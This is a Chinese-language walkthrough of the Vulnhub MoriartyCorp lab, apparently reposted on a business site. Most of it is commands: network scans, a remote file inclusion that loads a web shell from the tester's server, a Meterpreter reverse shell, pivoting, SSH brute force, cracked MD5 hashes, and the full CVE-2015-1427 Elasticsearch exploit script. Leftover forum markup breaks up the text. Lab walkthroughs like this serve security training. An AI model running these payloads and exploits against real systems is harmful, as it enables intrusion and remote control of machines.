Vulnhub靶机-MoriartyCorp - ToB企服应用市场:ToB评测及商务社交产业平台

nmap -sn 192.168.3.0/24

复制代码

nmap -p- -A 192.168.3.65

复制代码

python -m http.server
# 默认开启的是8000端口，如果要指定其他端口直接在后面输入对应的端口号，如python -m http.server 80

复制代码

[/code][img]https://img2022.cnblogs.com/blog/2528947/202206/2528947-20220628170042223-1759530049.png[/img]
[size=4]3. 尝试通过远程文件包含漏洞包含一下自己搭建好的建议服务器并包含到木马文件里去[/size]
[indent]成功包含木马文件，能成功访问到phpinfo文件信息
[/indent][img]https://img2022.cnblogs.com/blog/2528947/202206/2528947-20220628170214507-1079856186.png[/img]
[size=4]4. 蚁剑连接获取shell[/size]
[code]http://192.168.3.65/?file=http://192.168.3.44:8000/shell.txt

复制代码

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=8084 -f elf > shell.elf

复制代码

msfconsole #启动msf
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.3.62 #注意IP和反弹木马文件一致
set LPORT 8084 #注意端口和反弹木马文件一致
run #等待反弹结果

复制代码

chmod 777 shell.elf
./shell.elf

复制代码

run autoroute -s 172.17.0.0/24 #创建跳板路由

复制代码

use auxiliart/scanner/portscan/tcp #使用tcp端口扫描辅助模块
set rhosts 172.17.0.0/24 #设置扫描的内网网段
set ports 80 #设置扫描的端口
run #开始扫描

复制代码

sessions -i 1 #返回shell会话
portfwd add -L 192.168.3.62 -l 2424 -p 80 -r 172.17.0.4 #将内网主机的80端口转发到kali机2424端口

复制代码

63a9f0ea7bb98050796b649e85481845 root
7b24afc8bc80e548d66c4e7ff72171c5 toor
5f4dcc3b5aa765d61d8327deb882cf99 password
21232f297a57a5a743894a0e4a801fc3 admin
084e0343a0486ff05530df6c705c8bb4 guest
697c6cc76fdbde5baccb7b3400391e30 MORIARTY
8839cfc8a0f24eb155ae3f7f205f5cbc MCORP
35ac704fe1cc7807c914af478f20fd35 mcorp
b27a803ed346fbbf6d2e2eb88df1c51b weapons
08552d48aa6d6d9c05dd67f1b4ba8747 moriarty

复制代码

background #如果此时在会话监听模式，使用background可以把监听端口保存在后台运行，如果要使用shell时再通过session -i [会话编号] 的方式进行切换
use auxiliary/server/socks_proxy #开启socks5代理，msf6是socks_proxy,如果是msf5可能是socks4a
run #启动socks代理

复制代码

vim /etc/proxychains.conf

复制代码

proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80
# -sV 版本探测
# -sT 3次握手方式tcp扫描
# -Pn 扫描之前不需要用ping命令，有些防火墙禁用ping命令，可以使用此选项进行扫描
# -T 设置扫描线程，范围在T1~6
# -p 设置扫描端口

复制代码

proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p22

复制代码

proxychains hydra -L user.txt -p pass.txt ssh://172.17.0.5 -t 4
# -L 指定用户名字典
# -p 指定密码字典
# -t 设置线程

复制代码

proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p443,8000,8080,8888

复制代码

searchsploit elasticsearch

复制代码

cd /usr/share/exploitdb/exploits/linux/remote
proxychains python 36337.py 172.17.0.7

复制代码

#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"
def banner():
print """\x1b[1;32m
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(__version__)
def execute_command(target, command):
payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").getText()"}}}""" %(command)
try:
url = "http://%s:9200/_search?pretty" %(target)
r = requests.post(url=url, data=payload)
except Exception, e:
sys.exit("Exception Hit"+str(e))
values = json.loads(r.text)
fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
print fuckingjson.strip()
def exploit(target):
print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
while True:
cmd = raw_input("~$ ")
if cmd == "exit":
sys.exit("{!} Shell exiting!")
else:
execute_command(target=target, command=cmd)
def main(args):
banner()
if len(args) != 2:
sys.exit("Use: %s target" %(args[0]))
exploit(target=args[1])
if __name__ == "__main__":
main(args=sys.argv)

复制代码